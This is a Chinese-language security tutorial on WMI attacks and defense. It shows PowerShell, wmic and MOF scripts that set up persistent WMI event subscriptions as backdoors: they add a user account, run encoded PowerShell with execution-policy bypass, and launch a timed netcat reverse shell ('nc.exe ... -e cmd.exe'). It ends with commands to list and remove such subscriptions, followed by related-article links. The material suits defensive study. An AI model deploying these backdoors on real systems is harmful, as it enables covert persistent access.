WMI攻擊與安全防禦
作者:夜影實驗室(安全平臺部)-Addddd
簡介
WMI是一項Windows管理技術,其全稱是Windows Management Instrumentation,即Windows管理規範。大多數基於Windows的軟體依賴於此服務。因此有些駭客會針對WMI進行攻擊。本文介紹了 WMI 的攻擊和安全防禦方法,以供大家交流討論。
每個WMI 物件都是代表著獲取各種作業系統資訊與進行相關操作的類例項,以ROOT\CIMV2 作為預設的名稱空間,CIM為資料庫,並以WQL 查詢語句用於查詢 WMI 物件例項、類和名稱空間。
WMI 的主要互動方式
1、Powershell(Get-WmiObject、Set-WmiInstance、Invoke-WmiMethod等)
例如:Get-WmiObject-Namespace “ROOT” -Class __NAMESPACE
2、Wmic
例如:wmic/NAMESPACE:”\root\CIMV2″ PATH Win32_OperatingSystem
WMI事件
WMI事件會建立一個查詢請求,請求中定義了我們需要執行的操作,一旦事件發生就會執行我們定義的操作,支援兩種事件。
1、臨時事件:要建立事件的程式處於活動狀態,臨時事件就會被啟用(以當前許可權執行)
例如:
# Query for new process events
$queryCreate = "SELECT * FROM __InstanceCreationEvent WITHIN 5" +
"WHERE TargetInstance ISA 'Win32_Process'"
# Create an Action
$CrateAction = {
$name = $event.SourceEventArgs.NewEvent.TargetInstance.name
write-host "Process $($name) was created."
}
# Register WMI event
Register-WMIEvent -Query $queryCreate -Action $CrateAction
每開啟一個新程式就會輸出程式名稱:
2、持久事件:事件儲存在CIM資料庫中,並且會一直處於活動狀態,直到從資料庫中刪除(以system許可權執行,且重啟保持不變)
持久事件與後門
利用持久事件來做後門(建立需要管理員許可權)需要三個部分。
1、事件過濾器(Filter):用來定義觸發的條件,包括系統啟動、特定程式執行、特定時間間隔等,儲存在ROOT\subscription的例項__ EventFilter物件中,多數事件使用WQL WITHIN子句指定輪詢間隔。
2、事件消費者(Consumer):用來指定要執行的具體操作,包括執行命令(CommandLineEventConsumer)、執行指令碼(ActiveScriptEventConsumer)、新增日誌條目(NTEventLogEventConsumer)或者傳送郵件(SMTPEventConsumer)。
3、繫結機制:將過濾器繫結到消費者(FilterToConsumerBinding類)
後門例項
不管是powershell,wmic還是mof檔案,都由三個部分組成。
Powershell實現
$filterName = 'Filtertest'
$consumerName = 'Consumertest'
$exePath = 'powershell -ep bypass -command “net user xxx xxx /add”'
$exePath2 = ‘powershell -ep bypass -enc dwBoAG8AYQBtAGkA’
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
//定義Filter
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
//定義Consumer
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
//繫結
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
效果:每60秒執行一次powershell命令。
Wmic實現
wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE, EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE, ExecutablePath="C:\Users\admin\Desktop\nc.exe",CommandLineTemplate="C:\Users\admin\Desktop\nc.exe 127.0.0.1 443 - e c:\windows\system32\cmd.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"Filtertest\"", Consumer="CommandLineEventConsumer.Name=\"Consumertest\""
效果:定時觸發反彈
現如今,WMI攻擊在很多APT行為中也經常被利用:
Mof實現
#!vb
#pragma namespace ("\\\\.\\root\\subscription")
instance of __EventFilter as $FILTER
{
Name = "FilterTEST";
EventNamespace = "root\\cimv2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Minute = 30 ";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $CONSUMER
{
Name = "ConsumerTEST";
ScriptingEngine = "VBScript";
ScriptText =
"Set objShell = CreateObject(\"WScript.Shell\")\n"
"objShell.Run \"C:\\Windows\\system32\\cmd.exe /C C:\\nc.exe 127.0.0.1 443 -e C:\\Windows\\system32\\cmd.exe\"\n";
};
instance of __FilterToConsumerBinding
{
Consumer = $CONSUMER ;
Filter = $FILTER ;
};
執行命令:
Mofcomp xx.mof
效果:每30分鐘觸發反彈。
也可以直接執行vbs指令碼檔案:
instance ofActiveScriptEventConsumer as $Cons
{
Name = “ASEC”;
ScriptingEngine = “VBScript”;
ScriptFileName = “c:\asec.vbs”;
};
安全防禦
檢視:
#ListEventFilters
Get-WMIObject-Namespace root\Subscription -Class __EventFilter
#ListEventConsumers
Get-WMIObject-Namespace root\Subscription -Class __EventConsumer
#ListEventBindings
Get-WMIObject-Namespace root\Subscription -Class __FilterToConsumerBinding
刪除:
#Filter
Get-WMIObject-Namespace root\Subscription -Class __EventFilter -Filter”Name=’BotFilter82′” | Remove-WmiObject -Verbose
#Consumer
Get-WMIObject-Namespace root\Subscription -Class CommandLineEventConsumer -Filter”Name=’BotConsumer23′” | Remove-WmiObject -Verbose
#Binding
Get-WMIObject-Namespace root\Subscription -Class __FilterToConsumerBinding -Filter”__Path LIKE ‘%BotFilter82%’” | Remove-WmiObject -Verbose
相關文章
- WMI 的攻擊,防禦與取證分析技術之攻擊篇2020-08-19
- WMI 的攻擊,防禦與取證分析技術之防禦篇2020-08-19
- CSRF攻擊與防禦2024-11-01
- CSRF 攻擊與防禦2019-11-18
- WEB攻擊與防禦2018-03-31Web
- CSS keylogger:攻擊與防禦2019-01-03CSS
- 如何防止SQL隱碼攻擊?網路安全防禦方法2021-09-14SQL
- 淺談DDos攻擊與防禦2018-06-23
- DDoS攻擊、CC攻擊的攻擊方式和防禦方法2019-02-27
- 生成樹欺騙攻擊與防禦策略2023-09-28
- 如何有效防禦DDoS攻擊和CC攻擊?2023-12-27
- XXE攻擊攻擊原理是什麼?如何防禦XXE攻擊?2023-02-13
- 什麼是CSRF攻擊?如何防禦CSRF攻擊?2023-02-17
- 什麼是SSRF攻擊?如何防禦SSRF攻擊?2023-03-07
- DDoS 攻擊與防禦:從原理到實踐2024-05-16
- 勒索軟體攻擊正在演變 網路安全防禦策略也應該如此2021-10-29
- XXE攻擊是什麼?如何有效防禦XXE攻擊?2024-04-12
- Web安全防範-----防止重放攻擊2018-04-16Web
- CC攻擊包括幾個階段?如何防禦CC攻擊?2023-04-04
- CC攻擊的原理是什麼?如何防禦CC攻擊?2023-03-14
- DDoS攻擊的危害是什麼?如何防禦DDoS攻擊?2022-09-16
- CC攻擊分為幾種?遭遇CC攻擊如何防禦?2022-08-03
- cc攻擊防禦解決方法2022-06-06
- 網站被攻擊如何防禦2022-03-07網站
- 【容器安全防線】Docker攻擊方式與防範技術探究2023-04-07Docker
- 什麼是CC攻擊?CC攻擊的防禦方式有哪些?2022-06-15
- Jenkins如何使用CrumbIssuer防禦CSRF攻擊2024-07-28Jenkins
- 伺服器如何防禦CC攻擊2022-10-22伺服器
- 跨域攻擊分析和防禦(中)2024-04-15跨域
- JeecgBoot抵禦XSS攻擊實現方案2022-05-13boot
- DevOps 團隊如何防禦 API 攻擊2022-07-21devAPI
- DDOS攻擊原理,種類及其防禦2019-01-24
- DDoS攻擊頻發,科普防禦DDoS攻擊的幾大有效方法2023-11-22
- CC攻擊原理是什麼?網站被CC攻擊如何防禦?2023-10-25網站
- 【知識分享】伺服器遭受攻擊的方式,如何抵禦攻擊?2023-02-28伺服器
- 什麼是CC攻擊?網站被CC攻擊該如何防禦?2022-06-13網站
- 什麼是中間人攻擊?如何抵禦中間人攻擊?2022-09-14
- 【網路安全】如何有效地防禦DDOS攻擊和CC攻擊?2022-01-20